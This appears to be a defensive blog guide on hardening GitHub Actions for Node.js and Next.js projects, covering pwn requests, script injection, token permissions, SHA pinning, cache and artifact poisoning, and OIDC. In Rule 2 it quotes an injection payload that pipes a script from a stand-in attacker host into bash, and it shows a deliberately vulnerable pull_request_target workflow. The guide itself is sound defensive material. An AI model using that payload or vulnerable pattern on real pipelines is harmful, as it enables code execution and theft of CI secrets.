Securing GitHub Actions for Node.js and Next.js: Pwn Requests, Cache Poisoning, and npm Provenance [2026]
Your CI Pipeline Is the Highest-Value Target in the Repository
Most Node.js and Next.js security advice stops at the application: escape user input, validate the body, set the cookie flags. That is necessary, and it is also where teams stop thinking. Meanwhile, a single YAML file in .github/workflows/ holds a GITHUB_TOKEN that can write to the repository, an NPM_TOKEN that can publish your package to the registry your customers install from, cloud credentials that can reach production, and a deploy key that ships whatever the workflow decides to ship.
That combination is why CI/CD is not a build detail but the highest-value target in a modern JavaScript repository. A bug in your API leaks one tenant's data. A compromised pipeline leaks everything, and it does so with your signature — the artifact is signed, the provenance attestation is valid, the release notes are real. Downstream, npm install pulls it without a warning.
This article is a practical hardening pass over GitHub Actions for Node.js and Next.js projects. Every rule below maps to an attack that has worked in the wild, and every fix is a workflow diff you can apply today.
The Root Cause: Untrusted Input Reaching a Privileged Job
Almost every CI/CD compromise reduces to one sentence: an attacker-controlled value reached a job that had privileges it should not have. The attacker is usually an outside contributor who opened a pull request, and the privileged job is usually whatever runs with secrets.
The problem is that GitHub Actions makes the safe thing slightly less convenient than the unsafe thing. The list of values an attacker can influence in a public repository is long, and none of them look dangerous in a YAML file:
github.event.pull_request.title,.body,.head.ref,.head.labelgithub.event.issue.title,.bodygithub.event.comment.body,github.event.review.bodygithub.event.pages[].page_name(ongollumevents)github.head_ref(the branch name of a fork PR)github.event.workflow_run.head_branch- Any commit message, and any filename in a checkout of a fork
Some of those become code (interpolated into a run: step). Others become paths (used in actions/checkout or a tar command). Others become cache keys. Treat all of them as hostile strings, because that is what they are.
Rule 1: Never Combine pull_request_target with a Checkout of Untrusted Code
This is the classic "pwn request", and it still lands. The pull_request_target trigger was designed to give maintainers a way to label or comment on fork pull requests with a write token. What it actually does is run the workflow in the context of the base repository, with a read/write GITHUB_TOKEN and access to repository secrets. That is fine as long as the workflow never executes code from the fork.
The moment you check out the contributor's code, you have handed an anonymous stranger your secrets:
# BAD — a textbook pwn request
name: PR Preview
on: pull_request_target # runs with secrets and a write token
jobs:
preview:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
# Untrusted: whatever the PR author wants to run
ref: ${{ github.event.pull_request.head.sha }}
# The write token is left in .git/config by default
- run: npm ci # runs the fork's postinstall scripts
- run: npm run build # runs the fork's build scripts
Nothing here requires a clever exploit. The contributor adds a postinstall script to package.json that POSTs process.env to a server they control, opens a PR, and the workflow dutifully runs it with the NPM_TOKEN and the deploy key in the environment. This is not theoretical: it is the pattern behind a long list of real incidents at companies that otherwise had solid application security.
The fix is to split the workflow by trust level. Untrusted code runs in an unprivileged workflow that has no secrets; the privileged workflow consumes only its output, and only after validation:
# .github/workflows/pr.yml — untrusted, no secrets, read-only token
name: PR checks
on: pull_request # forks get no secrets and a read-only token
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
persist-credentials: false
- uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0
with:
node-version: 22
cache: npm
- run: npm ci --ignore-scripts
- run: npm test -- --run
- run: npm run build
- uses: actions/upload-artifact@b4b15b8c7c6ac21ea08fcf65892d2ee8f75cf882 # v4.4.3
with:
name: dist
path: |
.next/standalone
.next/static
if-no-files-found: error
retention-days: 3
# .github/workflows/comment.yml — privileged, NEVER executes the fork's code
name: PR preview comment
on:
workflow_run:
workflows: ["PR checks"]
types: [completed]
permissions:
contents: read
pull-requests: write
jobs:
comment:
if: github.event.workflow_run.event == 'pull_request'
runs-on: ubuntu-latest
steps:
# workflow_run provides the PR number as numeric metadata, which is safe
# to interpolate. Never interpolate a branch name or a title here.
- run: |
echo "Run ${{ github.event.workflow_run.id }} finished: ${{ github.event.workflow_run.conclusion }}"
Note what the privileged workflow does not do: it does not download the artifact and execute it, and it does not npm install anything from the PR. The moment a privileged job runs code that came from a pull request, the split buys you nothing.
If you genuinely need pull_request_target for labeling, keep the workflow to actions/labeler and actions/github-script on the PR metadata only, with no checkout step at all.
Rule 2: Route Untrusted Values Through env, Never Through ${{ }} Inside run:
The second most common finding is direct interpolation of untrusted context into a shell step. GitHub Actions expands ${{ ... }} before the shell sees the script, so the value becomes part of your script text:
# BAD — the PR title is now part of the shell script
- name: Announce
run: echo "Deploying ${{ github.event.pull_request.title }}"
Set the PR title to "; curl -s https://attacker.example/p.sh | bash # and the workflow executes attacker code with the job's token. Subshell execution, variable expansion, and $(...) all work because the interpolation happens before bash parses anything.
The fix is to pass the value as an environment variable, so it is data and never script text:
# GOOD — the value is data, not code
- name: Announce
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: printf 'Deploying %s\n' "$PR_TITLE"
Use env: for every untrusted context, and prefer printf over echo when you are printing arbitrary strings. The same rule applies to reusable workflows: pass untrusted values as inputs with an explicit type: string, and continue to reference them through env inside the called workflow.
Rule 3: Set permissions Explicitly and Grant the Token Nothing by Default
The default GITHUB_TOKEN scope depends on the repository or organization setting, and being wrong about which one applies to you is a security bug in itself. Do not rely on the default. Declare it at the top of every workflow and widen it per job only where needed:
name: Release
on:
push:
tags: ["v*"]
# Deny everything by default; jobs opt back in explicitly.
permissions: {}
jobs:
publish:
runs-on: ubuntu-latest
permissions:
contents: write # create the GitHub release
id-token: write # OIDC for npm trusted publishing
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
persist-credentials: false
- uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0
with:
node-version: 22
registry-url: https://registry.npmjs.org
- run: npm ci --ignore-scripts
- run: npm run build
- run: npm publish --provenance --access public
permissions: {} at the top means that if someone later adds a step or a third-party action to the publish job, it does not silently inherit contents: write. Because any action you call inherits your token, this is also the control that limits the blast radius of a compromised dependency in your workflow — the subject of the next rule.
Also set persist-credentials: false on any checkout whose job does not need to push. By default, checkout stores the token in the local git configuration, and any later step can read it.
Rule 4: Pin Every Third-Party Action to a Commit SHA
uses: actions/checkout@v4 is not a version pin — it is a pointer to a mutable Git tag. Whoever can write to that repository can move v4 to any commit they like, and your next run executes it. This is not hypothetical: in March 2025 an attacker compromised the widely used tj-actions/changed-files action, repointed its version tags at a malicious commit, and exfiltrated CI runner secrets into workflow logs across thousands of repositories (CVE-2025-30066). A related pair of tags in reviewdog/action-setup was compromised in the same campaign (CVE-2025-30154). Teams that had pinned SHAs were unaffected; teams that had pinned tags were not.
# BAD — a mutable tag
- uses: actions/checkout@v4
# GOOD — a 40-character commit SHA with the version in a comment
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
The usual objection is maintenance, and it is a solved problem. Let Dependabot pin and update them for you, so you get security updates as reviewable pull requests instead of silent tag movement:
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 5
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "daily"
groups:
prod-deps:
dependency-type: "production"
The same reasoning applies to docker:// images referenced by digest, to reusable workflows (uses: owner/repo/.github/workflows/x.yml@<sha>), and to any curl | bash install script hidden inside a composite action. If you cannot pin it to a digest or a SHA, do not run it in a job that has secrets.
Defense in depth for the same threat: npm ci --ignore-scripts (or --foreground-scripts to at least log what runs) in CI prevents a malicious transitive dependency from executing during install, and npm ci instead of npm install guarantees the lockfile is obeyed.
Rule 5: Cache and Artifact Poisoning
Caches and artifacts are data channels between jobs, and data channels can carry an attacker's payload.
Cache poisoning. A cache written by an untrusted workflow can be restored by a privileged one if the keys overlap. Broad restore-keys make that overlap likely: a PR workflow that populates npm-<os>- prefixes, or a privileged release job that restores with a prefix instead of an exact key, can pull a poisoned node_modules into a job that then publishes it.
# RISKY — restore-keys makes a cache written by another run reachable here
- uses: actions/cache@6849a6489940f00c2f30c0fb92c6274307ccb58a # v4.1.2
with:
path: ~/.npm
key: npm-${{ runner.os }}-${{ hashFiles('package-lock.json') }}
restore-keys: |
npm-${{ runner.os }}-
Guidance: in privileged workflows, never restore a cache that an untrusted workflow can write, and never cache node_modules — cache the package manager's download directory (~/.npm) and reinstall with npm ci so the lockfile decides what actually lands. If you use restore-keys, keep the prefix specific enough that only trusted runs produce it.
Artifact poisoning. A workflow_run job that downloads an artifact produced by a PR workflow and then publishes or deploys it has moved the trust boundary without noticing. The artifact may contain a modified dist/, a tampered package.json, or a node_modules tree with a backdoored dependency. Two rules follow: transfer only build outputs (never node_modules, never lockfiles, never scripts), and — for anything that reaches a registry or production — rebuild from source in the privileged workflow with npm ci rather than trusting the uploaded files.
# The artifact is evidence, not authority: verify it, then rebuild.
- uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
with:
name: dist
path: ./dist-from-pr
- name: Verify the artifact came from the expected commit
env:
HEAD_SHA: ${{ github.event.workflow_run.head_sha }}
run: |
test -f ./dist-from-pr/build-info.json
grep -qF "$HEAD_SHA" ./dist-from-pr/build-info.json
- name: Rebuild from a trusted ref before publishing
run: |
git checkout main
npm ci --ignore-scripts
npm run build
For artifacts you distribute, actions/attest-build-provenance lets you publish a signed provenance attestation so downstream consumers can verify which workflow and which commit produced the artifact — the same mechanism npm publish --provenance uses.
Rule 6: Keep Untrusted Code Off Persistent Runners
GitHub-hosted runners are ephemeral: they are created for the job and destroyed after it. Self-hosted runners are not, unless you have built them that way. A persistent runner that executes a fork's code is a persistence foothold: the attacker can modify the runner's toolchain, leave a file in a shared workspace, read whatever credentials the runner itself holds, or poison a shared Docker layer that the next job uses.
If you self-host for cost or for hardware reasons, then: never attach them to public repositories, always run them in ephemeral, single-use mode (Kubernetes-driven runner deployments with --ephemeral, or an autoscaling group that destroys the instance after each job), and give them an instance role that can do exactly one thing. If you run untrusted code on a persistent runner, assume the runner is compromised after the first malicious pull request.
Rule 7: Replace Long-Lived Secrets with OIDC
Static secrets are the reason a CI compromise becomes a cloud compromise. An AWS_SECRET_ACCESS_KEY or an NPM_TOKEN in repository secrets is a credential with an unlimited lifetime that a leaked log line can expose forever.
Both cloud providers and npm now support workload identity federation, so the workflow gets short-lived credentials that expire in minutes and are bound to the repository and the ref that requested them:
jobs:
deploy:
runs-on: ubuntu-latest
permissions:
contents: read
id-token: write # the ONLY thing needed to mint short-lived credentials
environment: production
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
persist-credentials: false
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
with:
role-to-assume: arn:aws:iam::123456789012:role/gha-deploy
aws-region: us-east-1
# No long-lived keys anywhere in the repository.
- run: ./scripts/deploy.sh
For npm, trusted publishing removes the NPM_TOKEN entirely: configure the publisher on npmjs.com for the repository and workflow, grant id-token: write, and publish with --provenance. The registry verifies the OIDC token, and the published package carries an attestation linking it to the exact commit and workflow that built it. Then delete the old token from repository secrets and revoke it in the registry, because a token that still works is still a target.
If a vendor only supports static credentials, treat them as a break-glass exception: scoped to a single resource, rotated on a schedule, stored in an environment-scoped secret rather than a repository secret, and never available to a workflow that runs untrusted code.
Rule 8: Put Production Behind a Protected Environment
environment: gives you an approval gate that sits between "the workflow decided to deploy" and "the workflow deployed". Required reviewers, a wait timer, and a branch restriction turn a compromised push credential into a request that a human can refuse.
jobs:
deploy:
runs-on: ubuntu-latest
environment:
name: production
url: https://app.example.com # required reviewers configured in repo settings
Combine it with concurrency so two deploys cannot race, and with a if: github.ref == 'refs/heads/main' guard so a tag pushed by a compromised token cannot reach production without review.
Rule 9: Make the Pipeline Observable
You cannot review what you cannot see. Two low-cost controls pay for themselves:
- Egress auditing.
step-security/harden-runnerin audit mode records every network destination the job contacts at DNS and IP level, which is how you find the exfiltration step that a compromised action added. Baseline it for a week, then switch toblockmode with an allowlist. - A reviewable diff for workflow changes. Add
.github/workflows/**toCODEOWNERSso any change to pipeline logic requires a security or platform review, and turn on branch protection requiring those reviews. The YAML is production code; treat changes to it the way you treat changes toauth/.
Hardening Checklist
- [ ] No
pull_request_targetworkflow checks out or executes PR code. - [ ] Fork PRs run with no secrets and a read-only token; privileged follow-ups use
workflow_runand never execute PR artifacts. - [ ] Every untrusted
github.*value reachesrun:throughenv:, never through${{ }}interpolation. - [ ] Top-level
permissions: {}(orcontents: read) with per-job opt-in;persist-credentials: falsewhere you do not push. - [ ] Every third-party action, reusable workflow, and container image is pinned to a 40-character SHA or a digest, and Dependabot keeps them current.
- [ ]
npm ci(notnpm install) everywhere,--ignore-scriptswhere the build allows it. - [ ] Privileged jobs never restore a cache written by an untrusted workflow;
node_modulesis never cached. - [ ] Artifacts crossing a trust boundary are validated or re-built, and published artifacts carry a provenance attestation.
- [ ] No self-hosted runners attached to public repositories; any self-hosted runner is ephemeral and single-use.
- [ ] Cloud and registry access uses OIDC; no long-lived
NPM_TOKENor cloud keys remain in repository secrets. - [ ] Production deploys sit behind a protected environment with required reviewers.
- [ ]
.github/workflows/**is inCODEOWNERS, and egress auditing is enabled.
What to Do This Week
Start with the diff that removes the most risk: search every workflow for pull_request_target, for ${{ github.event. inside run:, and for uses: lines without a 40-character SHA. Those three greps find the majority of exploitable pipelines. Then move the shop: delete the long-lived tokens in favour of OIDC, and put environment: production in front of the deploy job. Everything else is hardening — those three are the difference between a pipeline that survives a malicious pull request and one that quietly publishes it.
JS Security Audit
Audits led by a senior JavaScript security engineer with 10+ years of experience.